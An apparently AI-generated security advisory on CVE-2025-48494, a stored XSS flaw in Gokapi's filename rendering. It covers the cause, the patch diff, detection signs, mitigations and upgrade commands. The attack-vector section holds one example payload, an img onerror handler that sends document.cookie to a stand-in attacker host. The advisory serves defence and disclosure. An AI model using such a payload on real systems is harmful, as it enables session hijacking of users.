Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2025-48494 Overview
Gokapi is a self-hosted file sharing server that supports automatic file expiration and end-to-end encryption. CVE-2025-48494 is a stored cross-site scripting (XSS) vulnerability [CWE-79] affecting versions prior to 2.0.0 when end-to-end encryption is enabled. An authenticated attacker can upload a file with JavaScript code embedded in the filename. The script executes when any user opens the upload list. Because versions before 2.0.0 lack a user permission system and share a single encryption key across all authenticated users, the payload reaches every user of the instance. Single-user instances are not affected.
Critical Impact
Authenticated attackers can inject persistent JavaScript that executes in every administrator's browser session when viewing the upload list, enabling session theft and unauthorized actions within the Gokapi UI.
Affected Products
- Forceu Gokapi versions prior to 2.0.0
- Forceu Gokapi 2.0.0-beta1
- Forceu Gokapi 2.0.0-beta2
Discovery Timeline
- 2025-06-02 - CVE-2025-48494 published to NVD
- 2026-06-17 - Last updated in NVD database
Technical Details for CVE-2025-48494
Vulnerability Analysis
The flaw lives in the end-to-end encryption administrative view. Gokapi renders uploaded filenames using unsafe DOM manipulation, concatenating attacker-controlled strings into innerHTML. When a filename contains HTML or JavaScript, the browser parses and executes it during rendering of the upload list.
Because pre-2.0.0 releases share one encryption key across all authenticated users, any user can upload a file that all other users will decrypt and render. The absence of a permission model means every authenticated account has full visibility into the upload list, guaranteeing script execution in every user session that opens the view.
The patched function displayError in internal/webserver/web/static/js/end2end_admin.js demonstrates the class of bug. The original code used innerHTML with unsanitized error content. The fix replaces string concatenation with document.createElement and innerText, which treats input as literal text rather than markup.
Root Cause
The root cause is client-side output encoding failure. Filenames sourced from user input flow directly into DOM sinks such as innerHTML without HTML entity encoding or sanitization. Combined with a shared encryption key and no per-user isolation, one malicious upload propagates its payload to every authenticated viewer.
Attack Vector
An authenticated user uploads a file whose filename contains a JavaScript payload, for example <img src=x onerror=fetch('//attacker/'+document.cookie)>.pdf. The file is stored end-to-end encrypted. When any user, including administrators, opens the upload list, the client-side JavaScript decrypts metadata and injects the filename into the DOM using innerHTML. The browser evaluates the payload in the origin of the Gokapi instance.
// Patched code from internal/webserver/web/static/js/end2end_admin.js
function displayError(err) {
document.getElementById("errordiv").style.display = "block";
- document.getElementById("errormessage").innerHTML = "<b>Error: </b> " + err.toString().replace(/^Error:/gi, "");
- console.error('Caught exception', err)
-}
+ const errorMessageEl = document.getElementById("errormessage");
+
+ errorMessageEl.innerText = "";
+ const bold = document.createElement("b");
+ bold.innerText = "Error: ";
+ const message = document.createTextNode(err.toString().replace(/^Error:/gi, ""));
+ errorMessageEl.appendChild(bold);
+ errorMessageEl.appendChild(message);
+
+ console.error('Caught exception', err);
+}
// Source: https://github.com/Forceu/Gokapi/commit/343cc566cfd7f4efcd522c92371561d494aed6b0
Detection Methods for CVE-2025-48494
Indicators of Compromise
- Uploaded files with filenames containing HTML tags such as <script>, <img>, <svg>, or JavaScript event handlers like onerror= and onload=.
- Outbound HTTP requests from browsers viewing the Gokapi admin interface to unexpected external hosts.
- Unexpected session token usage or administrative actions originating from valid user sessions shortly after browsing the upload list.
Detection Strategies
- Inspect the Gokapi file metadata database for entries whose stored filename contains angle brackets, quotes, or JavaScript keywords.
- Deploy a Content Security Policy report-only endpoint to surface inline script executions inside the Gokapi origin.
- Correlate web proxy logs for browser sessions accessing /admin paths on the Gokapi host with anomalous outbound connections that follow.
Monitoring Recommendations
- Alert on new file uploads whose filenames fail an allowlist regex of safe characters.
- Monitor Gokapi authentication and session events for reuse of tokens from unexpected IP addresses.
- Log and review all administrative HTTP requests to the Gokapi API for actions that do not match user-initiated activity.
How to Mitigate CVE-2025-48494
Immediate Actions Required
- Upgrade Gokapi to version 2.0.0 or later, which introduces a per-user permission model and fixes the filename rendering path.
- Audit existing uploaded filenames for HTML or JavaScript payloads and remove or rename any suspicious entries before upgrading.
- Rotate administrator credentials and invalidate active sessions after patching in case prior payloads exfiltrated tokens.
Patch Information
The vulnerability is fixed in the Gokapi Version 2.0.0 Release. The remediation commit is available at the Forceu Gokapi Security Commit. Additional context is provided in GitHub Security Advisory GHSA-95rc-wc32-gm53.
Workarounds
- Disable end-to-end encryption on the Gokapi instance until an upgrade to 2.0.0 is completed, which removes the vulnerable code path.
- Restrict Gokapi access to a single trusted administrator account, as single-user deployments are not affected.
- Place Gokapi behind a reverse proxy that enforces a strict Content Security Policy blocking inline script execution.
# Upgrade Gokapi container to the patched release
docker pull f0rc3/gokapi:v2.0.0
docker stop gokapi && docker rm gokapi
docker run -d --name gokapi \
-v /opt/gokapi/data:/app/data \
-v /opt/gokapi/config:/app/config \
-p 53842:53842 \
f0rc3/gokapi:v2.0.0
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

